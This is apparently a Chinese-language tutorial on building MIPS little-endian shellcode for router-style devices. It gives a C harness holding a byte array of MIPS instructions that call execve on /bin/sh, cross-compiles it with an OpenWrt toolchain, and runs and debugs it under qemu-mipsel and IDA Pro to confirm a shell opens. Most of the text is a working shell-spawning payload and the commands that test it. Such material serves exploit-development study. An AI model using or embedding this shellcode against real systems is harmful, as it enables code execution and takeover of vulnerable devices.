1 编写shellcode的execve系统调用源码
#include <stdio.h>
#include <unistd.h>
char sc[] = {
"\x99\x73\x06\x24" /* li a2,0x7399 */
"\x00\x00\xd0\x04" /* LB: bltzal a2,LB */
"\x50\x73\x0f\x24" /* li $t7,0x7350 (nop) */
"\xff\xff\x06\x28" /* slti a2, $0,-1 */
"\xe0\xff\xbd\x27" /* addiu sp,sp,-32 */
"\xd7\xff\x0f\x24" /* li t7,-41 */
"\x27\x78\xe0\x01" /* nor t7,t7,zero */
"\x21\x20\xef\x03" /* addu a0,ra,t7 */
"\xe8\xff\xa4\xaf" /* sw a0,-24(sp) */
"\xec\xff\xa0\xaf" /* sw zero,-20(sp) */
"\xe8\xff\xa5\x23" /* addi a1,sp,-24 */
"\xab\x0f\x02\x24" /* li v0,4011 */
"\x0c\x01\x01\x01" /* syscall */
"/bin/sh"
};
int main()
{
void (*p)(void);
p = sc;
printf("sc size %d\n", sizeof(sc));
p();
return 0;
}
2 编译源码
刚开始在虚拟机中的ubuntu18系统中,使用buildroot编译源码,如:buildroot/output/host/usr/bin/mipsel-linux-gcc test_execve.c -o texe-sh,结果在系统调用的时候,会设置gp寄存器,提取机器码的时候非常麻烦。
最后使用板上交叉编译器,编译源码,就没有设置gp寄存器了,编译后生成执行程序texe-sh
$ /mtk/toolchain-mipsel_24kec_uClibc/bin/mipsel-openwrt-linux-gcc ./test_execve.c -o texe-sh
3 调试代码
在ubuntu18系统中,使用qemu运行执行程序,或者开启调试端口
运行程序:
$ sudo chroot . ./qemu-mipsel ./texe-sh
或者打开端口开启调试模式:
$ sudo chroot . ./qemu-mipsel -g 8888 ./texe-sh
使用IDA Pro远程连接调试模式,调试代码是否正常运行。如何调试不赘述。
运行程序后,可以看到已经执行/bin/sh,并可以在此输入命令